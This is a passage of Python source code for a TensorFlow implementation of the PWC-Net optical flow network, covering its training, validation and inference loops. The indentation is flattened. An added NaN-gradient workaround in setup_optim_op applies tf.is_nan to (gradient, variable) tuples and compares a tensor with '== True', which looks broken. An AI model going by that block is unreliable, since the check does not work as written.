"""
if self.opts['verbose']:
print("Building model...")
assert(self.num_gpus <= 1)
# Build the backbone neural nets and collect the output tensors
with tf.device(self.opts['controller']):
self.flow_pred_tnsr, self.flow_pyr_tnsr = self.nn(self.x_tnsr)
if self.opts['verbose']:
print("... model built.")
def build_model_towers(self):
"""Build model towers. A tower is the name used to describe a copy of the model on a device.
Called by the base class when building the TF graph to setup the list of output tensors
"""
if self.opts['verbose']:
print("Building model towers...")
# Setup a learning rate training schedule
self.setup_lr_sched()
# Instantiate an optimizer
# see https://stackoverflow.com/questions/42064941/tensorflow-float16-support-is-broken
# for float32 epsilon=1e-08, for float16 use epsilon=1e-4
epsilon = 1e-08 if self.opts['use_mixed_precision'] is False else 1e-4
assert (self.opts['train_mode'] in ['train', 'fine-tune'])
if self.opts['loss_fn'] == 'loss_multiscale':
self.optim = tf.train.AdamOptimizer(self.lr, epsilon=epsilon)
else:
self.optim = tf.train.ProximalGradientDescentOptimizer(self.lr)
# Keep track of the gradients and losses per tower
tower_grads, losses, metrics = [], [], []
# Get the current variable scope so we can reuse all variables we need once we get
# to the next iteration of the for loop below
with tf.variable_scope(tf.get_variable_scope()) as outer_scope:
for n, ops_device in enumerate(self.opts['gpu_devices']):
print(f" Building tower_{n}...")
# Use the assign_to_device function to ensure that variables are created on the controller.
with tf.device(assign_to_device(ops_device, self.opts['controller'])), tf.name_scope(f'tower_{n}'):
# Get a slice of the input batch and groundtruth label
x_tnsr = self.x_tnsr[n * self.opts['batch_size']:(n + 1) * self.opts['batch_size'], :]
y_tnsr = self.y_tnsr[n * self.opts['batch_size']:(n + 1) * self.opts['batch_size'], :]
# Build the model for that slice
flow_pred_tnsr, flow_pyr_tnsr = self.nn(x_tnsr)
# The first tower is also the model we will use to perform online evaluation
if n == 0:
self.flow_pred_tnsr, self.flow_pyr_tnsr = flow_pred_tnsr, flow_pyr_tnsr
# Compute the loss for this tower, with regularization term if requested
loss_unreg = pwcnet_loss(y_tnsr, flow_pyr_tnsr, self.opts)
if self.opts['gamma'] == 0.:
loss = loss_unreg
else:
loss_reg = self.opts['gamma'] * \
tf.reduce_sum([tf.nn.l2_loss(var) for var in tf.trainable_variables()])
loss = loss_unreg + loss_reg
# Evaluate model performance on this tower
metrics.append(tf.reduce_mean(tf.norm(y_tnsr - flow_pred_tnsr, ord=2, axis=3)))
# Compute the gradients for this tower, but don't apply them yet
with tf.name_scope("compute_gradients"):
# The function compute_gradients() returns a list of (gradient, variable) pairs
if self.opts['use_mixed_precision'] is True:
grads, vars = zip(*self.optim.compute_gradients(loss * self.opts['loss_scaler']))
# Return the gradients (now float32) to the correct exponent and keep them in check
grads = [grad / self.opts['loss_scaler'] for grad in grads]
grads, _ = tf.clip_by_global_norm(grads, 5.0)
tower_grads.append(zip(grads, vars))
else:
grad_and_vars = self.optim.compute_gradients(loss)
tower_grads.append(grad_and_vars)
losses.append(loss)
# After the first iteration, we want to reuse the variables.
outer_scope.reuse_variables()
print(f" ...tower_{n} built.")
# Apply the gradients on the controlling device
with tf.name_scope("apply_gradients"), tf.device(self.opts['controller']):
# Note that what we are doing here mathematically is equivalent to returning the average loss over the
# towers and compute the gradients relative to that. Unfortunately, this would place all gradient
# computations on one device, which is why we had to compute the gradients above per tower and need to
# average them here. The function average_gradients() takes the list of (gradient, variable) lists
# and turns it into a single (gradient, variables) list.
avg_grads_op = average_gradients(tower_grads)
self.optim_op = self.optim.apply_gradients(avg_grads_op, self.g_step_op)
self.loss_op = tf.reduce_mean(losses)
self.metric_op = tf.reduce_mean(metrics)
if self.opts['verbose']:
print("... model towers built.")
def set_output_tnsrs(self):
"""Initialize output tensors
"""
if self.mode in ['train_noval', 'train_with_val']:
# self.y_hat_train_tnsr = [self.loss_op, self.metric_op, self.optim_op, self.g_step_inc_op]
self.y_hat_train_tnsr = [self.loss_op, self.metric_op, self.optim_op]
if self.mode == 'train_with_val':
# In online evaluation mode, we only care about the average loss and metric for the batch:
self.y_hat_val_tnsr = [self.loss_op, self.metric_op]
if self.mode in ['val', 'val_notrain']:
# In offline evaluation mode, we only care about the individual predictions and metrics:
self.y_hat_val_tnsr = [self.flow_pred_tnsr, self.metric_op]
# if self.opts['sparse_gt_flow'] is True:
# # Find the location of the zerod-out flows in the gt
# zeros_loc = tf.logical_and(tf.equal(self.y_tnsr[:, :, :, 0], 0.0), tf.equal(self.y_tnsr[:, :, :, 1], 0.0))
# zeros_loc = tf.expand_dims(zeros_loc, -1)
#
# # Zero out flow predictions at the same location so we only compute the EPE at the sparse flow points
# sparse_flow_pred_tnsr = tf_where(zeros_loc, tf.zeros_like(self.flow_pred_tnsr), self.flow_pred_tnsr)
#
# self.y_hat_val_tnsr = [sparse_flow_pred_tnsr, self.metric_op]
self.y_hat_test_tnsr = [self.flow_pred_tnsr, self.flow_pyr_tnsr]
###
# Sample mgmt
###
def adapt_x(self, x):
"""Preprocess the input samples to adapt them to the network's requirements
Here, x, is the actual data, not the x TF tensor.
Args:
x: input samples in list[(2,H,W,3)] or (N,2,H,W,3) np array form
Returns:
Samples ready to be given to the network (w. same shape as x)
Also, return adaptation info in (N,2,H,W,3) format
"""
# Ensure we're dealing with RGB image pairs
assert (isinstance(x, np.ndarray) or isinstance(x, list))
if isinstance(x, np.ndarray):
assert (len(x.shape) == 5)
assert (x.shape[1] == 2 and x.shape[4] == 3)
else:
assert (len(x[0].shape) == 4)
assert (x[0].shape[0] == 2 or x[0].shape[3] == 3)
# Bring image range from 0..255 to 0..1 and use floats (also, list[(2,H,W,3)] -> (batch_size,2,H,W,3))
if self.opts['use_mixed_precision'] is True:
x_adapt = np.array(x, dtype=np.float16) if isinstance(x, list) else x.astype(np.float16)
else:
x_adapt = np.array(x, dtype=np.float32) if isinstance(x, list) else x.astype(np.float32)
x_adapt /= 255.
# Make sure the image dimensions are multiples of 2**pyramid_levels, pad them if they're not
_, pad_h = divmod(x_adapt.shape[2], 2**self.opts['pyr_lvls'])
if pad_h != 0:
pad_h = 2 ** self.opts['pyr_lvls'] - pad_h
_, pad_w = divmod(x_adapt.shape[3], 2**self.opts['pyr_lvls'])
if pad_w != 0:
pad_w = 2 ** self.opts['pyr_lvls'] - pad_w
x_adapt_info = None
if pad_h != 0 or pad_w != 0:
padding = [(0, 0), (0, 0), (0, pad_h), (0, pad_w), (0, 0)]
x_adapt_info = x_adapt.shape # Save original shape
x_adapt = np.pad(x_adapt, padding, mode='constant', constant_values=0.)
return x_adapt, x_adapt_info
def adapt_y(self, y):
"""Preprocess the labels to adapt them to the loss computation requirements of the network
Here, y, is the actual data, not the y TF tensor.
Args:
y: labels in list[(H,W,2)] or (N,H,W,2) np array form
Returns:
Labels ready to be used by the network's loss function (w. same shape as y)
Also, return adaptation info in (N,H,W,2) format
"""
# Ensure we're dealing with u,v flows
assert (isinstance(y, np.ndarray) or isinstance(y, list))
if isinstance(y, np.ndarray):
assert (len(y.shape) == 4)
assert (y.shape[3] == 2)
else:
assert (len(y[0].shape) == 3)
assert (y[0].shape[2] == 2)
y_adapt = np.array(y, dtype=np.float32) if isinstance(y, list) else y # list[(H,W,2)] -> (batch_size,H,W,2)
# Make sure the flow dimensions are multiples of 2**pyramid_levels, pad them if they're not
_, pad_h = divmod(y.shape[1], 2**self.opts['pyr_lvls'])
if pad_h != 0:
pad_h = 2 ** self.opts['pyr_lvls'] - pad_h
_, pad_w = divmod(y.shape[2], 2**self.opts['pyr_lvls'])
if pad_w != 0:
pad_w = 2 ** self.opts['pyr_lvls'] - pad_w
y_adapt_info = None
if pad_h != 0 or pad_w != 0:
padding = [(0, 0), (0, pad_h), (0, pad_w), (0, 0)]
y_adapt_info = y_adapt.shape # Save original shape
y_adapt = np.pad(y_adapt, padding, mode='constant', constant_values=0.)
# if y_adapt_info is not None and not y_adapt_info in self.adapt_infos: self.adapt_infos.append(y_adapt_info)
# if not y.shape in self.unique_y_shapes: self.unique_y_shapes.append(y.shape)
return y_adapt, y_adapt_info
def postproc_y_hat_test(self, y_hat, adapt_info=None):
"""Postprocess the results coming from the network during the test mode.
Here, y_hat, is the actual data, not the y_hat TF tensor. Override as necessary.
Args:
y_hat: predictions, see set_output_tnsrs() for details
adapt_info: adaptation information in (N,H,W,2) format
Returns:
Postprocessed labels
"""
assert (isinstance(y_hat, list) and len(y_hat) == 2)
# Have the samples been padded to fit the network's requirements? If so, crop flows back to original size.
pred_flows = y_hat[0]
if adapt_info is not None:
pred_flows = pred_flows[:, 0:adapt_info[1], 0:adapt_info[2], :]
# Individuate flows of the flow pyramid (at this point, they are still batched)
pyramids = y_hat[1]
pred_flows_pyramid = []
for idx in range(len(pred_flows)):
pyramid = []
for lvl in range(self.opts['pyr_lvls'] - self.opts['flow_pred_lvl'] + 1):
pyramid.append(pyramids[lvl][idx])
pred_flows_pyramid.append(pyramid)
return pred_flows, pred_flows_pyramid
def postproc_y_hat_train(self, y_hat, adapt_info=None):
"""Postprocess the results coming from the network during training.
Here, y_hat, is the actual data, not the y_hat TF tensor. Override as necessary.
Args:
y_hat: losses and metrics, see set_output_tnsrs() for details
adapt_info: adaptation information in (N,H,W,2) format
Returns:
Batch loss and metric
"""
assert (isinstance(y_hat, list) and len(y_hat) == 3)
return y_hat[0], y_hat[1]
def postproc_y_hat_val(self, y_hat, adapt_info=None):
"""Postprocess the results coming from the network during validation.
Here, y_hat, is the actual data, not the y_hat TF tensor. Override as necessary.
Args:
y_hat: batch loss and metric, or predicted flows and metrics, see set_output_tnsrs() for details
adapt_info: adaptation information in (N,H,W,2) format
Returns:
Either, batch loss and metric
Or, predicted flows and metrics
"""
if self.mode in ['train_noval', 'train_with_val']:
# In online evaluation mode, we only care about the average loss and metric for the batch:
assert (isinstance(y_hat, list) and len(y_hat) == 2)
return y_hat[0], y_hat[1]
if self.mode in ['val', 'val_notrain']:
# Have the samples been padded to fit the network's requirements? If so, crop flows back to original size.
pred_flows = y_hat[0]
if adapt_info is not None:
pred_flows = pred_flows[:, 0:adapt_info[1], 0:adapt_info[2], :]
return pred_flows, y_hat[1]
###
# Training helpers
###
def setup_loss_ops(self):
"""Setup loss computations. See pwcnet_loss() function for unregularized loss implementation details.
"""
# Setup unregularized loss
loss_unreg = pwcnet_loss(self.y_tnsr, self.flow_pyr_tnsr, self.opts)
# Add regularization term
if self.opts['gamma'] == 0.:
self.loss_op = loss_unreg
else:
loss_reg = self.opts['gamma'] * tf.reduce_sum([tf.nn.l2_loss(var) for var in tf.trainable_variables()])
self.loss_op = loss_unreg + loss_reg
def setup_optim_op(self):
"""Select the Adam optimizer, define the optimization process.
"""
# Instantiate optimizer
# see https://stackoverflow.com/questions/42064941/tensorflow-float16-support-is-broken
# for float32 epsilon=1e-08, for float16 use epsilon=1e-4
epsilon = 1e-08 if self.opts['use_mixed_precision'] is False else 1e-4
if self.opts['loss_fn'] == 'loss_multiscale':
self.optim = tf.train.AdamOptimizer(self.lr, epsilon=epsilon)
else:
self.optim = tf.train.ProximalGradientDescentOptimizer(self.lr)
if self.opts['use_mixed_precision'] is True:
# Choose a loss scale manager which decides how to pick the right loss scale throughout the training process.
loss_scale_mgr = FixedLossScaleManager(self.opts['loss_scaler'])
# Wrap the original optimizer in a LossScaleOptimizer
self.optim = LossScaleOptimizer(self.optim, loss_scale_mgr)
# zmf: deal with NaN
# Let minimize() take care of both computing the gradients and applying them to the model variables
# self.optim_op = self.optim.minimize(self.loss_op, self.g_step_op, tf.trainable_variables())
grads_and_vars = self.optim.compute_gradients(self.loss_op, var_list=tf.trainable_variables())
if tf.is_nan(grads_and_vars[0]) == True:
grads_and_vars_ = [(tf.where(tf.is_nan(grad),tf.zeros_like(grad), grad), val) for grad, val in grads_and_vars]
elif tf.is_nan(grads_and_vars[1]) == True:
grads_and_vars_ = [(tf.where(tf.is_nan(grad), tf.zeros_like(grad), grad), val) for grad, val in grads_and_vars]
else:
grads_and_vars_ = grads_and_vars
self.optim_op = self.optim.apply_gradients(grads_and_vars_, global_step=self.g_step_op, name=None)
else:
# Let minimize() take care of both computing the gradients and applying them to the model variables
# self.optim_op = self.optim.minimize(self.loss_op, self.g_step_op, tf.trainable_variables())
grads_and_vars = self.optim.compute_gradients(self.loss_op, var_list=tf.trainable_variables())
if tf.is_nan(grads_and_vars[0]) == True:
grads_and_vars_ = [(tf.where(tf.is_nan(grad),tf.zeros_like(grad), grad),val) for grad, val in grads_and_vars]
elif tf.is_nan(grads_and_vars[1]) == True:
grads_and_vars_ = [(tf.where(tf.is_nan(grad),tf.zeros_like(grad), grad), val) for grad, val in grads_and_vars]
else:
grads_and_vars_ = grads_and_vars
self.optim_op = self.optim.apply_gradients(grads_and_vars_, global_step=self.g_step_op, name=None)
# fmz
def config_train_ops(self):
"""Configure training ops.
Called by the base class when building the TF graph to setup all the training ops, including:
- setting up loss computations,
- setting up metrics computations,
- creating a learning rate training schedule,
- selecting an optimizer,
- creating lists of output tensors.
"""
assert (self.opts['train_mode'] in ['train', 'fine-tune'])
if self.opts['verbose']:
print("Configuring training ops...")
# Setup loss computations
self.setup_loss_ops()
# Setup metrics computations
self.setup_metrics_ops()
# Setup a learning rate training schedule
self.setup_lr_sched()
# Setup optimizer computations
self.setup_optim_op()
if self.opts['verbose']:
print("... training ops configured.")
def config_loggers(self):
"""Configure train logger and, optionally, val logger. Here add a logger for test images, if requested.
"""
super().config_loggers()
if self.opts['tb_test_imgs'] is True:
self.tb_test = OptFlowTBLogger(self.opts['ckpt_dir'], 'test')
def train(self):
"""Training loop
"""
with self.graph.as_default():
# Reset step counter
if self.opts['train_mode'] == 'fine-tune':
step = 1
self.sess.run(self.g_step_op.assign(0))
if self.opts['verbose']:
print("Start finetuning...")
else:
if self.last_ckpt is not None:
step = self.g_step_op.eval(session=self.sess) + 1
if self.opts['verbose']:
print(f"Resume training from step {step}...")
else:
step = 1
if self.opts['verbose']:
print("Start training from scratch...")
# Get batch sizes
batch_size = self.opts['batch_size']
val_batch_size = self.opts['val_batch_size']
if self.mode == 'train_noval':
warnings.warn("Setting val_batch_size=0 because dataset is in 'train_noval' mode")
val_batch_size = 0
if val_batch_size == -1:
val_batch_size = self.ds.val_size
# Init batch progress trackers
train_loss, train_epe, duration = [], [], []
ranking_value = 0
# Only load Tensorboard validation/test images once
if self.opts['tb_val_imgs'] is not None:
tb_val_loaded = False
if self.opts['tb_test_imgs'] is not None:
tb_test_loaded = False
# Use feed_dict from np or with tf.data.Dataset?
if self.opts['use_tf_data'] is True:
# Create tf.data.Dataset managers
train_tf_ds = self.ds.get_tf_ds(batch_size, self.num_gpus, split='train', sess=self.sess)
val_tf_ds = self.ds.get_tf_ds(batch_size, self.num_gpus, split='val', sess=self.sess)
# Ops for initializing the two different iterators
train_next_batch = train_tf_ds.make_one_shot_iterator().get_next()
val_next_batch = val_tf_ds.make_one_shot_iterator().get_next()
while step < self.opts['max_steps'] + 1:
# Get a batch of samples and make them conform to the network's requirements
# x: [batch_size*num_gpus,2,H,W,3] uint8 y: [batch_size*num_gpus,H,W,2] float32
# x_adapt: [batch_size,2,H,W,3] float32 y_adapt: [batch_size,H,W,2] float32
if self.opts['use_tf_data'] is True:
x, y, _ = self.sess.run(train_next_batch)
else:
x, y, id_batch = self.ds.next_batch(batch_size * self.num_gpus, split='train')
x_adapt, _ = self.adapt_x(x)
y_adapt, _ = self.adapt_y(y)
# Run the samples through the network (loss, error rate, and optim ops (backprop))
feed_dict = {self.x_tnsr: x_adapt, self.y_tnsr: y_adapt}
start_time = time.time()
y_hat = self.sess.run(self.y_hat_train_tnsr, feed_dict=feed_dict)
duration.append(time.time() - start_time)
loss, epe = self.postproc_y_hat_train(y_hat) # y_hat: [107.0802, 5.8556495, None]
# if self.num_gpus == 1: # Single-GPU case
# else: # Multi-CPU case
train_loss.append(loss), train_epe.append(epe)
# Show training progress
if step % self.opts['display_step'] == 0:
# Send results to tensorboard
loss, epe = np.mean(train_loss), np.mean(train_epe)
ranking_value = epe
self.tb_train.log_scalar("losses/loss", loss, step)
self.tb_train.log_scalar("metrics/epe", epe, step)
lr = self.lr.eval(session=self.sess)
self.tb_train.log_scalar("optim/lr", lr, step)
# Print results, if requested
if self.opts['verbose']:
sec_per_step = np.mean(duration)
samples_per_step = batch_size * self.num_gpus
samples_per_sec = samples_per_step / sec_per_step
eta = round((self.opts['max_steps'] - step) * sec_per_step)
ts = time.strftime("%Y-%m-%d %H:%M:%S")
status = f"{ts} Iter {self.g_step_op.eval(session=self.sess)}" \
f" [Train]: loss={loss:.2f}, epe={epe:.2f}, lr={lr:.6f}," \
f" samples/sec={samples_per_sec:.1f}, sec/step={sec_per_step:.3f}," \
f" eta={datetime.timedelta(seconds=eta)}"
print(status)
# Reset batch progress trackers
train_loss, train_epe, duration = [], [], []
# Show progress on validation ds, if requested
if val_batch_size > 0 and step % self.opts['val_step'] == 0:
val_loss, val_epe = [], []
rounds, _ = divmod(val_batch_size, batch_size * self.num_gpus)
for _round in range(rounds):
if self.opts['use_tf_data'] is True:
x, y, _, _ = self.sess.run(val_next_batch)
else:
# Get a batch of val samples and make them conform to the network's requirements
x, y, _ = self.ds.next_batch(batch_size * self.num_gpus, split='val')
# x: [batch_size * self.num_gpus,2,H,W,3] uint8 y: [batch_size,H,W,2] float32
x_adapt, _ = self.adapt_x(x)
y_adapt, _ = self.adapt_y(y)
# x_adapt: [batch_size * self.num_gpus,2,H,W,3] float32 y_adapt: [batch_size,H,W,2] float32
# Run the val samples through the network (loss and error rate ops)
feed_dict = {self.x_tnsr: x_adapt, self.y_tnsr: y_adapt}
y_hat = self.sess.run(self.y_hat_val_tnsr, feed_dict=feed_dict)
loss, epe = self.postproc_y_hat_val(y_hat)
val_loss.append(loss), val_epe.append(epe)
# Send the results to tensorboard
loss, epe = np.mean(val_loss), np.mean(val_epe)
ranking_value = epe
self.tb_val.log_scalar("losses/loss", loss, step)
self.tb_val.log_scalar("metrics/epe", epe, step)
# Print results, if requested
if self.opts['verbose']:
ts = time.strftime("%Y-%m-%d %H:%M:%S")
status = f"{ts} Iter {self.g_step_op.eval(session=self.sess)} [Val]: loss={loss:.2f}, epe={epe:.2f}"
print(status)
# Save a checkpoint every snapshot_step
if step % self.opts['snapshot_step'] == 0 or step == self.opts['max_steps']:
# Log evolution of test images to Tensorboard, if requested
if self.opts['tb_test_imgs'] is not None:
# Get a batch of test samples and make them conform to the network's requirements
if tb_test_loaded is False:
x_tb_test, IDs_tb_test = self.ds.get_samples(
batch_size * self.num_gpus, split='test', simple_IDs=True)
x_tb_test_adapt, _ = self.adapt_x(x_tb_test)
# IDs_tb_test = self.ds.simplify_IDs(x_IDs)
tb_test_loaded = True
# Run the test samples through the network
feed_dict = {self.x_tnsr: x_tb_test_adapt}
y_hat = self.sess.run(self.y_hat_test_tnsr, feed_dict=feed_dict)
pred_flows, pred_flows_pyr = self.postproc_y_hat_test(y_hat)
# Only show batch_size results, no matter what the GPU count is
pred_flows, pred_flows_pyr = pred_flows[0:batch_size], pred_flows_pyr[0:batch_size]
# Send the results to tensorboard
if self.opts['tb_test_imgs'] == 'top_flow':
self.tb_test.log_imgs_w_flows('test/{}_flows', x_tb_test, None, 0, pred_flows,
None, step, IDs_tb_test)
else:
self.tb_test.log_imgs_w_flows('test/{}_flows_pyr', x_tb_test, pred_flows_pyr,
self.opts['pyr_lvls'] - self.opts['flow_pred_lvl'], pred_flows,
None, step, IDs_tb_test)
# Log evolution of val images, if requested
if self.opts['tb_val_imgs'] is not None:
# Get a batch of val samples and make them conform to the network's requirements
if tb_val_loaded is False:
x_tb_val, y_tb_val, IDs_tb_val = self.ds.get_samples(
batch_size * self.num_gpus, split='val', simple_IDs=True)
x_tb_val_adapt, _ = self.adapt_x(x_tb_val)
# IDs_tb_val = self.ds.simplify_IDs(x_IDs)
tb_val_loaded = True
# Run the val samples through the network (top flow and pyramid)
feed_dict = {self.x_tnsr: x_tb_val_adapt}
y_hat = self.sess.run(self.y_hat_test_tnsr, feed_dict=feed_dict)
pred_flows, pred_flows_pyr = self.postproc_y_hat_test(y_hat)
# Only show batch_size results, no matter what the GPU count is
x_tb_val, y_tb_val = x_tb_val[0:batch_size], y_tb_val[0:batch_size]
IDs_tb_val = IDs_tb_val[0:batch_size]
pred_flows, pred_flows_pyr = pred_flows[0:batch_size], pred_flows_pyr[0:batch_size]
# Send the results to tensorboard
if self.opts['tb_val_imgs'] == 'top_flow':
self.tb_val.log_imgs_w_flows('val/{}_flows', x_tb_val, None, 0, pred_flows,
y_tb_val, step, IDs_tb_val)
else:
self.tb_val.log_imgs_w_flows('val/{}_flows_pyr', x_tb_val[0:batch_size], pred_flows_pyr,
self.opts['pyr_lvls'] - self.opts['flow_pred_lvl'], pred_flows,
y_tb_val, step, IDs_tb_val)
# Save model
self.save_ckpt(ranking_value)
step += 1
if self.opts['verbose']:
print("... done training.")
###
# Evaluation helpers
###
def setup_metrics_ops(self):
"""Setup metrics computations. Use the endpoint error metric to track progress.
Note that, if the label flows come back from the network padded, it isn't a fair assessment of the performance
of the model if we also measure the EPE in the padded area. This area is to be cropped out before returning
the predicted flows to the caller, so exclude that area when computing the performance metric.
"""
# Have the samples been padded to the nn's requirements? If so, crop flows back to original size.
y_tnsr, flow_pred_tnsr = self.y_tnsr, self.flow_pred_tnsr
if self.opts['adapt_info'] is not None:
y_tnsr = y_tnsr[:, 0:self.opts['adapt_info'][1], 0:self.opts['adapt_info'][2], :]
flow_pred_tnsr = flow_pred_tnsr[:, 0:self.opts['adapt_info'][1], 0:self.opts['adapt_info'][2], :]
if self.opts['sparse_gt_flow'] is True:
# Find the location of the zerod-out flows in the gt
zeros_loc = tf.logical_and(tf.equal(y_tnsr[:, :, :, 0], 0.0), tf.equal(y_tnsr[:, :, :, 1], 0.0))
zeros_loc = tf.expand_dims(zeros_loc, -1)
# Zero out flow predictions at the same location so we only compute the EPE at the sparse flow points
flow_pred_tnsr = tf_where(zeros_loc, tf.zeros_like(flow_pred_tnsr), flow_pred_tnsr)
if self.mode in ['train_noval', 'train_with_val']:
# In online evaluation mode, we only care about the average loss and metric for the batch:
self.metric_op = tf.reduce_mean(tf.norm(y_tnsr - flow_pred_tnsr, ord=2, axis=3))
if self.mode in ['val', 'val_notrain']:
# In offline evaluation mode, we actually care about each individual prediction and metric -> axis=(1, 2)
self.metric_op = tf.reduce_mean(tf.norm(y_tnsr - flow_pred_tnsr, ord=2, axis=3), axis=(1, 2))
def eval(self, metric_name=None, save_preds=False):
"""Evaluation loop. Test the trained model on the validation split of the dataset.
Args:
save_preds: if True, the predictions are saved to disk
Returns:
Aaverage score for the entire dataset, a panda df with individual scores for further error analysis
"""
with self.graph.as_default():
# Use feed_dict from np or with tf.data.Dataset?
batch_size = self.opts['batch_size']
if self.opts['use_tf_data'] is True:
# Create tf.data.Dataset manager
tf_ds = self.ds.get_tf_ds(batch_size=batch_size, split='val', sess=self.sess)
# Ops for initializing the iterator
next_batch = tf_ds.make_one_shot_iterator().get_next()
# Store results in a dataframe
if metric_name is None:
metric_name = 'Score'
df = pd.DataFrame(columns=['ID', metric_name, 'Duration', 'Avg_Flow_Mag', 'Max_Flow_Mag'])
# Chunk dataset
rounds, rounds_left = divmod(self.ds.val_size, batch_size)
if rounds_left:
rounds += 1
# Loop through samples and track their model performance
desc = f'Measuring {metric_name} and saving preds' if save_preds else f'Measuring {metric_name}'
idx = 0
for _round in trange(rounds, ascii=True, ncols=100, desc=desc):
# Fetch and adapt sample
if self.opts['use_tf_data'] is True:
x, y, y_hat_paths, IDs = self.sess.run(next_batch)
y_hat_paths = [y_hat_path.decode() for y_hat_path in y_hat_paths]
IDs = [ID.decode() for ID in IDs]
else:
# Get a batch of samples and make them conform to the network's requirements
x, y, y_hat_paths, IDs = self.ds.next_batch(batch_size, split='val_with_pred_paths')
# x: [batch_size * self.num_gpus,2,H,W,3] uint8 y: [batch_size,H,W,2] float32
x_adapt, _ = self.adapt_x(x)
y_adapt, y_adapt_info = self.adapt_y(y)
# x_adapt: [batch_size * self.num_gpus,2,H,W,3] float32 y_adapt: [batch_size,H,W,2] float32
# Run the sample through the network (metric op)
feed_dict = {self.x_tnsr: x_adapt, self.y_tnsr: y_adapt}
start_time = time.time()
y_hat = self.sess.run(self.y_hat_val_tnsr, feed_dict=feed_dict)
duration = time.time() - start_time
y_hats, metrics = self.postproc_y_hat_val(y_hat, y_adapt_info)
# Save the individual results in df
duration /= batch_size
for y_hat, metric, y_hat_path, ID in zip(y_hats, metrics, y_hat_paths, IDs):
_, flow_mag_avg, flow_mag_max = flow_mag_stats(y_hat)
df.loc[idx] = (ID, metric, duration, flow_mag_avg, flow_mag_max)
if save_preds:
flow_write(y_hat, y_hat_path)
info=f"{metric_name}={metric:.2f}"
flow_write_as_png(y_hat, y_hat_path.replace('.flo', '.png'), info=info)
idx += 1
# Compute stats
avg_metric, avg_duration = df.loc[:, metric_name].mean(), df.loc[:, 'Duration'].mean()
# print(self.unique_y_shapes)
return avg_metric, avg_duration, df
###
# Inference helpers
###
def predict(self, return_preds=False, save_preds=True):
"""Inference loop. Run the trained model on the test split of the dataset.
The data samples are provided by the OpticalFlowDataset object associated with this ModelPWCNet instance.
To predict flows for image pairs not provided by such object, use predict_from_img_pairs() instead.
Args:
return_preds: if True, the predictions are returned to the caller in list([2, H, W, 3]) format.
save_preds: if True, the predictions are saved to disk in .flo and .png format
Returns:
if return_preds is True, the predictions and their IDs are returned (might require a lot of RAM...)
if return_preds is False, return None
"""
with self.graph.as_default():
# Use feed_dict from np or with tf.data.Dataset?
batch_size = self.opts['batch_size']
if self.opts['use_tf_data'] is True:
# Create tf.data.Dataset manager
tf_ds = self.ds.get_tf_ds(batch_size=batch_size, split='test', sess=self.sess)
# Ops for initializing the iterator
next_batch = tf_ds.make_one_shot_iterator().get_next()
# Chunk dataset
rounds, rounds_left = divmod(self.ds.tst_size, batch_size)
if rounds_left:
rounds += 1
# Loop through input samples and run inference on them
if return_preds is True:
preds, ids = [], []
desc = f'Predicting flows and saving preds' if save_preds else f'Predicting flows'
for _round in trange(rounds, ascii=True, ncols=100, desc=desc):
# Fetch and adapt sample
if self.opts['use_tf_data'] is True:
x, y_hat_paths, IDs = self.sess.run(next_batch)
y_hat_paths = [y_hat_path.decode() for y_hat_path in y_hat_paths]
IDs = [ID.decode() for ID in IDs]
else:
# Get a batch of samples and make them conform to the network's requirements
x, y_hat_paths, IDs = self.ds.next_batch(batch_size, split='test_with_pred_paths')
# x: [batch_size,2,H,W,3] uint8; x_adapt: [batch_size,2,H,W,3] float32
x_adapt, x_adapt_info = self.adapt_x(x)
if x_adapt_info is not None:
y_adapt_info = (x_adapt_info[0], x_adapt_info[2], x_adapt_info[3], 2)
else:
y_adapt_info = None
# Run the sample through the network
feed_dict = {self.x_tnsr: x_adapt}
y_hat = self.sess.run(self.y_hat_test_tnsr, feed_dict=feed_dict)
y_hats, _ = self.postproc_y_hat_test(y_hat, y_adapt_info)
# Save the predicted flows to disk, if requested
for y_hat, y_hat_path, ID in zip(y_hats, y_hat_paths, IDs):
if return_preds is True:
preds.append(y_hat)
ids.append(ID)
if save_preds is True:
flow_write(y_hat, y_hat_path)
flow_write_as_png(y_hat, y_hat_path.replace('.flo', '.png'))
if return_preds is True:
return preds[0:self.ds.tst_size], ids[0:self.ds.tst_size]
else:
return None
def predict_from_img_pairs(self, img_pairs, batch_size=1, verbose=False):
"""Inference loop. Run inference on a list of image pairs.
Args:
img_pairs: list of image pairs/tuples in list((img_1, img_2),...,(img_n, img_nplusone)) format.
batch_size: size of the batch to process (all images must have the same dimension, if batch_size>1)
verbose: if True, show progress bar
Returns:
Predicted flows in list format
"""
with self.graph.as_default():
# Chunk image pair list
batch_size = self.opts['batch_size']
test_size = len(img_pairs)
rounds, rounds_left = divmod(test_size, batch_size)
if rounds_left:
rounds += 1
# Loop through input samples and run inference on them
preds, test_ptr = [], 0
rng = trange(rounds, ascii=True, ncols=100, desc='Predicting flows') if verbose else range(rounds)
for _round in rng:
# In batch mode, make sure to wrap around if there aren't enough input samples to process
if test_ptr + batch_size < test_size:
new_ptr = test_ptr + batch_size
indices = list(range(test_ptr, test_ptr + batch_size))
else:
new_ptr = (test_ptr + batch_size) % test_size
indices = list(range(test_ptr, test_size)) + list(range(0, new_ptr))
test_ptr = new_ptr
# Repackage input image pairs as np.ndarray
x = np.array([img_pairs[idx] for idx in indices])
# Make input samples conform to the network's requirements
# x: [batch_size,2,H,W,3] uint8; x_adapt: [batch_size,2,H,W,3] float32
x_adapt, x_adapt_info = self.adapt_x(x)
if x_adapt_info is not None:
y_adapt_info = (x_adapt_info[0], x_adapt_info[2], x_adapt_info[3], 2)
else:
y_adapt_info = None
# Run the adapted samples through the network
feed_dict = {self.x_tnsr: x_adapt}
y_hat = self.sess.run(self.y_hat_test_tnsr, feed_dict=feed_dict)
y_hats, _ = self.postproc_y_hat_test(y_hat, y_adapt_info)
# Return flat list of predicted labels
for y_hat in y_hats:
preds.append(y_hat)
return preds[0:test_size]
###
# PWC-Net pyramid helpers
###
def extract_features(self, x_tnsr, name='featpyr'):
"""Extract pyramid of features
Args:
x_tnsr: Input tensor (input pair of images in [batch_size, 2, H, W, 3] format)
name: Variable scope name
Returns:
c1, c2: Feature pyramids
Ref:
Per page 3 of paper, section "Feature pyramid extractor," given two input images I1 and I2, we generate
L-level pyramids of feature representations, with the bottom (zeroth) level being the input images,
i.e., Ct<sup>0</sup> = It. To generate feature representation at the l-th layer, Ct<sup>l</sup>, we use
layers of convolutional filters to downsample the features at the (l−1)th pyramid level, Ct<sup>l-1</sup>,
by a factor of 2. From the first to the sixth levels, the number of feature channels are respectively
16, 32, 64, 96, 128, and 196. Also see page 15 of paper for a rendering of the network architecture.
Per page 15, individual images of the image pair are encoded using the same Siamese network. Each
